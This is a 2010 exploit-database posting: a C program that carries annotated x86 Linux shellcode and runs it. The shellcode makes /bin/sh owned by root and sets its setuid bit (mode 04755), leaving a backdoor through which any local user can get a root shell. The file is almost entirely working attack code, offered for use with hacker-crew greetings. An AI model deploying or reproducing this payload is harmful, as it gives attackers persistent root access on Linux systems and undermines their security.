/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 45 bytes give all user root access when execute /bin/sh x86 linux shellcode
Date   : Sat Jun  5 16:10:00 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, cruz3n and all devilzc0de crew
*/
#include <stdio.h>

char *shellcode=
    "\xeb\x1f"                    /* jmp    0x8048081 */
    "\x31\xc0"                    /* xor    %eax,%eax */
    "\xb0\xb6"                    /* mov    $0xb6,%al */
    "\x5b"                        /* pop    %ebx */
    "\x31\xc9"                    /* xor    %ecx,%ecx */
    "\x31\xd2"                    /* xor    %edx,%edx */
    "\xcd\x80"                    /* int    $0x80 */
    "\x31\xc0"                    /* xor    %eax,%eax */
    "\xb0\x0f"                    /* mov    $0xf,%al */
    "\x89\xdb"                    /* mov    %ebx,%ebx */
    "\x66\xb9\xed\x09"            /* mov    $0x9ed,%cx */
    "\xcd\x80"                    /* int    $0x80 */
    "\x31\xc0"                    /* xor    %eax,%eax */
    "\xb0\x01"                    /* mov    $0x1,%al */
    "\x31\xdb"                    /* xor    %ebx,%ebx */
    "\xcd\x80"                    /* int    $0x80 */
    "\xe8\xdc\xff\xff\xff"        /* call   0x8048062 */
    "\x2f"                        /* das     */
    "\x62\x69\x6e"                /* bound  %ebp,0x6e(%ecx) */
    "\x2f"                        /* das     */
    "\x73\x68";                   /* jae    0x80480f5 */

int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    ((void (*)(void)) shellcode)();
    return 0;
}